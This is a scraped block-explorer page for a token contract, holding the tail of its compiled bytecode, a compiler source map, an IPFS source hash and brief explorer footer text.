090205411155b15610cc757506000610cc4828461109b565b92505b6001600160a01b038516600090815260116020526040902054610cea9084610de0565b6001600160a01b038087166000908152601160205260408082209390935590861681522054610d199083610df3565b6001600160a01b038516600090815260116020526040808220929092553081522054610d459082610df3565b3060009081526011602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610dc76064610dc160075487610dff90919063ffffffff16565b90610e0b565b90506000610dd58583610de0565b959194509092505050565b6000610dec828461109b565b9392505050565b6000610dec8284610fc5565b6000610dec82846110ae565b6000610dec82846110c5565b600060208083528351808285015260005b81811015610e4457858101830151858201604001528201610e28565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e7a57600080fd5b50565b60008060408385031215610e9057600080fd5b8235610e9b81610e65565b946020939093013593505050565b600080600060608486031215610ebe57600080fd5b8335610ec981610e65565b92506020840135610ed981610e65565b929592945050506040919091013590565b600060208284031215610efc57600080fd5b8135610dec81610e65565b60008060408385031215610f1a57600080fd5b8235610f2581610e65565b91506020830135610f3581610e65565b809150509250929050565b600181811c90821680610f5457607f821691505b602082108103610f7457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561035657610356610faf565b600060ff821660ff8103610fee57610fee610faf565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561101f57600080fd5b8151610dec81610e65565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561107a5784516001600160a01b031683529383019391830191600101611055565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035657610356610faf565b808202811582820484141761035657610356610faf565b6000826110e257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf7f35fbaa7ef85df1c168ea85988cdf30fde7da84c59f44c1e625304a9cdb1164736f6c63430008130033

Deployed Bytecode Sourcemap

5175:7744:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7020:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11216:161;;;;;;;;;;-1:-1:-1;11216:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11216:161:0;1023:187:1;7297:100:0;;;;;;;;;;-1:-1:-1;7377:12:0;;7297:100;;;1361:25:1;;;1349:2;1334:18;7297:100:0;1215:177:1;11385:313:0;;;;;;;;;;-1:-1:-1;11385:313:0;;;;;:::i;:::-;;:::i;7206:83::-;;;;;;;;;;-1:-1:-1;7272:9:0;;7206:83;;7272:9;;;;2000:36:1;;1988:2;1973:18;7206:83:0;1858:184:1;11038:170:0;;;;;;;;;;;;;:::i;:::-;;7405:117;;;;;;;;;;-1:-1:-1;7405:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7498:16:0;7471:7;7498:16;;;:7;:16;;;;;;;7405:117;1257:148;;;;;;;;;;;;;:::i;940:87::-;;;;;;;;;;-1:-1:-1;986:7:0;1013:6;940:87;;-1:-1:-1;;;;;1013:6:0;;;2445:51:1;;2433:2;2418:18;940:87:0;2299:203:1;7111:87:0;;;;;;;;;;;;;:::i;12226:167::-;;;;;;;;;;-1:-1:-1;12226:167:0;;;;;:::i;:::-;;:::i;12401:143::-;;;;;;;;;;-1:-1:-1;12401:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;12509:18:0;;;12482:7;12509:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12401:143;1461:244;;;;;;;;;;-1:-1:-1;1461:244:0;;;;;:::i;:::-;;:::i;7020:83::-;7057:13;7090:5;7083:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7020:83;:::o;11216:161::-;11291:4;11308:39;452:10;11331:7;11340:6;11308:8;:39::i;:::-;-1:-1:-1;11365:4:0;11216:161;;;;;:::o;11385:313::-;11483:4;11500:36;11510:6;11518:9;11529:6;11500:9;:36::i;:::-;11547:121;11556:6;452:10;11578:89;11616:6;11578:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11578:19:0;;;;;;:11;:19;;;;;;;;452:10;11578:33;;;;;;;;;;:37;:89::i;:::-;11547:8;:121::i;:::-;-1:-1:-1;11686:4:0;11385:313;;;;;:::o;11038:170::-;986:7;1013:6;-1:-1:-1;;;;;1013:6:0;452:10;1125:23;1117:68;;;;-1:-1:-1;;;1117:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;11095:16:0::1;:30:::0;11150:3:::1;11138:9;:15:::0;11174:1:::1;11164:7;:11:::0;;;11187:8:::1;:12:::0;11038:170::o;1257:148::-;986:7;1013:6;-1:-1:-1;;;;;1013:6:0;452:10;1125:23;1117:68;;;;-1:-1:-1;;;1117:68:0;;;;;;;:::i;:::-;1364:1:::1;1348:6:::0;;1327:40:::1;::::0;-1:-1:-1;;;;;1348:6:0;;::::1;::::0;1327:40:::1;::::0;1364:1;;1327:40:::1;1395:1;1378:19:::0;;-1:-1:-1;;;;;;1378:19:0::1;::::0;;1257:148::o;7111:87::-;7150:13;7183:7;7176:14;;;;;:::i;12226:167::-;12304:4;12321:42;452:10;12345:9;12356:6;12321:9;:42::i;1461:244::-;986:7;1013:6;-1:-1:-1;;;;;1013:6:0;452:10;1125:23;1117:68;;;;-1:-1:-1;;;1117:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1550:22:0;::::1;1542:73;;;::::0;-1:-1:-1;;;1542:73:0;;3848:2:1;1542:73:0::1;::::0;::::1;3830:21:1::0;3887:2;3867:18;;;3860:30;3926:34;3906:18;;;3899:62;-1:-1:-1;;;3977:18:1;;;3970:36;4023:19;;1542:73:0::1;3646:402:1::0;1542:73:0::1;1652:6;::::0;;1631:38:::1;::::0;-1:-1:-1;;;;;1631:38:0;;::::1;::::0;1652:6;::::1;::::0;1631:38:::1;::::0;::::1;1680:6;:17:::0;;-1:-1:-1;;;;;;1680:17:0::1;-1:-1:-1::0;;;;;1680:17:0;;;::::1;::::0;;;::::1;::::0;;1461:244::o;8632:262::-;-1:-1:-1;;;;;8725:19:0;;;;;;:44;;-1:-1:-1;;;;;;8748:21:0;;;;8725:44;8717:74;;;;-1:-1:-1;;;8717:74:0;;4255:2:1;8717:74:0;;;4237:21:1;4294:2;4274:18;;;4267:30;-1:-1:-1;;;4313:18:1;;;4306:47;4370:18;;8717:74:0;4053:341:1;8717:74:0;-1:-1:-1;;;;;8802:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8854:32;;1361:25:1;;;8854:32:0;;1334:18:1;8854:32:0;;;;;;;8632:262;;;:::o;8902:1529::-;986:7;1013:6;-1:-1:-1;;;;;9020:13:0;;;1013:6;;9020:13;;;;:50;;-1:-1:-1;9056:14:0;;-1:-1:-1;;;;;9050:20:0;;;9056:14;;9050:20;;9020:50;:86;;;;-1:-1:-1;;;;;;9087:19:0;;9101:4;9087:19;;9020:86;:123;;;;-1:-1:-1;9129:14:0;;-1:-1:-1;;;;;9123:20:0;;;9129:14;;9123:20;;9020:123;:150;;;;-1:-1:-1;9166:4:0;;-1:-1:-1;;;;;9160:10:0;;;9166:4;;9160:10;;9020:150;:182;;;;-1:-1:-1;986:7:0;1013:6;-1:-1:-1;;;;;9187:15:0;;;1013:6;;9187:15;;9020:182;9016:367;;;-1:-1:-1;;;;;7498:16:0;;9220:19;7498:16;;;:7;:16;;;;;;9304;;9279:20;9293:6;7498:16;9279:20;:::i;:::-;9278:42;;9270:94;;;;-1:-1:-1;;;9270:94:0;;4863:2:1;9270:94:0;;;4845:21:1;4902:2;4882:18;;;4875:30;4941:34;4921:18;;;4914:62;-1:-1:-1;;;4992:18:1;;;4985:38;5040:19;;9270:94:0;4661:404:1;9270:94:0;9203:180;9016:367;-1:-1:-1;;;;;9403:18:0;;;;;;:38;;-1:-1:-1;;;;;;9425:16:0;;;;9403:38;9395:72;;;;-1:-1:-1;;;9395:72:0;;5272:2:1;9395:72:0;;;5254:21:1;5311:2;5291:18;;;5284:30;-1:-1:-1;;;5330:18:1;;;5323:51;5391:18;;9395:72:0;5070:345:1;9395:72:0;9495:1;9486:6;:10;9478:60;;;;-1:-1:-1;;;9478:60:0;;5622:2:1;9478:60:0;;;5604:21:1;5661:2;5641:18;;;5634:30;5700:34;5680:18;;;5673:62;-1:-1:-1;;;5751:18:1;;;5744:35;5796:19;;9478:60:0;5420:401:1;9478:60:0;9569:15;;;;;;;;9554:11;;:30;;;;:74;;;9611:17;;9602:6;:26;9554:74;:109;;;;-1:-1:-1;9646:17:0;;-1:-1:-1;;;9646:17:0;;;;9645:18;9554:109;:149;;;;-1:-1:-1;;;;;;9681:22:0;;;;;;:16;:22;;;;;;;;9680:23;9554:149;:186;;;;-1:-1:-1;9726:14:0;;-1:-1:-1;;;;;9720:20:0;;;9726:14;;9720:20;9554:186;:215;;;;-1:-1:-1;9757:12:0;;-1:-1:-1;;;9757:12:0;;;;9554:215;9551:457;;;9798:11;:15;;-1:-1:-1;;9798:15:0;;;9877:4;-1:-1:-1;7498:16:0;;;:7;:16;;;;;;9901:24;;9898:99;;9941:41;9961:20;9941:19;:41::i;:::-;9781:227;9551:457;-1:-1:-1;;;;;10073:22:0;;10028:13;10073:22;;;:16;:22;;;;;;10044:4;;10073:22;;;:46;;-1:-1:-1;;;;;;10099:20:0;;;;;;:16;:20;;;;;;;;10073:46;:98;;;-1:-1:-1;10132:14:0;;-1:-1:-1;;;;;10124:22:0;;;10132:14;;10124:22;;;;:46;;-1:-1:-1;10156:14:0;;-1:-1:-1;;;;;10150:20:0;;;10156:14;;10150:20;;10124:46;10070:302;;;-1:-1:-1;10198:5:0;10070:302;;;10233:14;;-1:-1:-1;;;;;10233:14:0;;;10225:22;;;;10221:151;;10275:7;;10263:9;:19;10221:151;;;10310:14;;-1:-1:-1;;;;;10310:14:0;;;10304:20;;;;10300:72;;10352:8;;10340:9;:20;10300:72;10384:39;10399:4;10404:2;10407:6;10414:8;10384:14;:39::i;:::-;9005:1426;8902:1529;;;:::o;4101:206::-;4187:7;4248:12;4240:6;;;;4232:29;;;;-1:-1:-1;;;4232:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4283:5:0;;;4101:206::o;12675:241::-;6405:17;:24;;-1:-1:-1;;;;6405:24:0;-1:-1:-1;;;6405:24:0;;;12765:35:::1;12779:20:::0;12765:13:::1;:35::i;:::-;12881:14;::::0;12833:21:::1;::::0;12865:43:::1;::::0;-1:-1:-1;;;;;12881:14:0::1;12833:21:::0;12865:15:::1;:43::i;:::-;-1:-1:-1::0;;6452:17:0;:25;;-1:-1:-1;;;;6452:25:0;;;12675:241::o;8258:366::-;8384:8;8380:115;;8408:17;:15;:17::i;:::-;8380:115;;;8466:11;:13;;;;;:11;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;8380:115;8505:45;8524:6;8532:9;8543:6;8505:18;:45::i;:::-;8575:8;8571:45;;8598:18;12117:17;;12105:9;:29;12155:15;;12145:7;:25;12193:16;;12182:8;:27;12058:160;7530:472;7617:16;;;7631:1;7617:16;;;;;;;;7593:21;;7617:16;;;;;;;;;;-1:-1:-1;7617:16:0;7593:40;;7662:4;7644;7649:1;7644:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7644:23:0;;;:7;;;;;;;;;;:23;;;;7688:16;;:23;;;-1:-1:-1;;;7688:23:0;;;;:16;;;;;:21;;:23;;;;;7644:7;;7688:23;;;;;:16;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7678:4;7683:1;7678:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7678:33:0;;;:7;;;;;;;;;:33;7754:16;;7722:63;;7739:4;;7754:16;7773:11;7722:8;:63::i;:::-;7796:16;;:198;;-1:-1:-1;;;7796:198:0;;-1:-1:-1;;;;;7796:16:0;;;;:67;;:198;;7878:11;;7796:16;;7921:4;;7948;;7968:15;;7796:198;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7582:420;7530:472;:::o;12552:115::-;12636:23;;-1:-1:-1;;;;;12636:15:0;;;:23;;;;;12652:6;;12636:23;;;;12652:6;12636:15;:23;;;;;;;;;;;;;;;;;;;;;12552:115;;:::o;11747:299::-;11796:9;;:14;:30;;;;-1:-1:-1;11814:7:0;;:12;11796:30;:47;;;;-1:-1:-1;11830:8:0;;:13;11796:47;11793:59;;;11747:299::o;11793:59::-;11882:7;;;11864:15;:25;11920:8;;;11901:16;:27;11960:9;;;11940:17;:29;-1:-1:-1;11980:11:0;;;;12002:12;;;;12025:13;11747:299::o;10439:591::-;10549:23;10574:12;10590:22;10604:7;10590:13;:22::i;:::-;-1:-1:-1;;;;;10626:24:0;;;;;;:16;:24;;;;;;10548:64;;-1:-1:-1;10548:64:0;-1:-1:-1;10626:24:0;;:63;;;;-1:-1:-1;10673:16:0;;-1:-1:-1;;;;;10654:15:0;;;;;;:7;:15;;;;;;:35;;10626:63;10623:144;;;-1:-1:-1;10713:1:0;10729:26;10740:15;10729:26;;:::i;:::-;;;10623:144;-1:-1:-1;;;;;10795:15:0;;;;;;:7;:15;;;;;;:28;;10815:7;10795:19;:28::i;:::-;-1:-1:-1;;;;;10777:15:0;;;;;;;:7;:15;;;;;;:46;;;;10855:18;;;;;;;:39;;10878:15;10855:22;:39::i;:::-;-1:-1:-1;;;;;10834:18:0;;;;;;:7;:18;;;;;;:60;;;;10946:4;10930:22;;;;:32;;10957:4;10930:26;:32::i;:::-;10921:4;10905:22;;;;:7;:22;;;;;;;;;:57;;;;10978:44;1361:25:1;;;-1:-1:-1;;;;;10978:44:0;;;;;;;;;;1334:18:1;10978:44:0;;;;;;;10527:503;;10439:591;;;:::o;8010:240::-;8072:7;8081;8101:12;8116:31;8143:3;8116:22;8128:9;;8116:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;8101:46;-1:-1:-1;8158:23:0;8184:17;:7;8101:46;8184:11;:17::i;:::-;8158:43;8237:4;;-1:-1:-1;8010:240:0;;-1:-1:-1;;;8010:240:0:o;3779:98::-;3837:7;3864:5;3868:1;3864;:5;:::i;:::-;3857:12;3779:98;-1:-1:-1;;;3779:98:0:o;3673:::-;3731:7;3758:5;3762:1;3758;:5;:::i;3885:98::-;3943:7;3970:5;3974:1;3970;:5;:::i;3995:98::-;4053:7;4080:5;4084:1;4080;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:380::-;2979:1;2975:12;;;;3022;;;3043:61;;3097:4;3089:6;3085:17;3075:27;;3043:61;3150:2;3142:6;3139:14;3119:18;3116:38;3113:161;;3196:10;3191:3;3187:20;3184:1;3177:31;3231:4;3228:1;3221:15;3259:4;3256:1;3249:15;3113:161;;2900:380;;;:::o;3285:356::-;3487:2;3469:21;;;3506:18;;;3499:30;3565:34;3560:2;3545:18;;3538:62;3632:2;3617:18;;3285:356::o;4399:127::-;4460:10;4455:3;4451:20;4448:1;4441:31;4491:4;4488:1;4481:15;4515:4;4512:1;4505:15;4531:125;4596:9;;;4617:10;;;4614:36;;;4630:18;;:::i;5826:175::-;5863:3;5907:4;5900:5;5896:16;5936:4;5927:7;5924:17;5921:43;;5944:18;;:::i;:::-;5993:1;5980:15;;5826:175;-1:-1:-1;;5826:175:1:o;6138:127::-;6199:10;6194:3;6190:20;6187:1;6180:31;6230:4;6227:1;6220:15;6254:4;6251:1;6244:15;6270:251;6340:6;6393:2;6381:9;6372:7;6368:23;6364:32;6361:52;;;6409:1;6406;6399:12;6361:52;6441:9;6435:16;6460:31;6485:5;6460:31;:::i;6526:980::-;6788:4;6836:3;6825:9;6821:19;6867:6;6856:9;6849:25;6893:2;6931:6;6926:2;6915:9;6911:18;6904:34;6974:3;6969:2;6958:9;6954:18;6947:31;6998:6;7033;7027:13;7064:6;7056;7049:22;7102:3;7091:9;7087:19;7080:26;;7141:2;7133:6;7129:15;7115:29;;7162:1;7172:195;7186:6;7183:1;7180:13;7172:195;;;7251:13;;-1:-1:-1;;;;;7247:39:1;7235:52;;7342:15;;;;7307:12;;;;7283:1;7201:9;7172:195;;;-1:-1:-1;;;;;;;7423:32:1;;;;7418:2;7403:18;;7396:60;-1:-1:-1;;;7487:3:1;7472:19;7465:35;7384:3;6526:980;-1:-1:-1;;;6526:980:1:o;7511:128::-;7578:9;;;7599:11;;;7596:37;;;7613:18;;:::i;7644:168::-;7717:9;;;7748;;7765:15;;;7759:22;;7745:37;7735:71;;7786:18;;:::i;7817:217::-;7857:1;7883;7873:132;;7927:10;7922:3;7918:20;7915:1;7908:31;7962:4;7959:1;7952:15;7990:4;7987:1;7980:15;7873:132;-1:-1:-1;8019:9:1;;7817:217::o

Swarm Source

ipfs://cf7f35fbaa7ef85df1c168ea85988cdf30fde7da84c59f44c1e625304a9cdb11
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.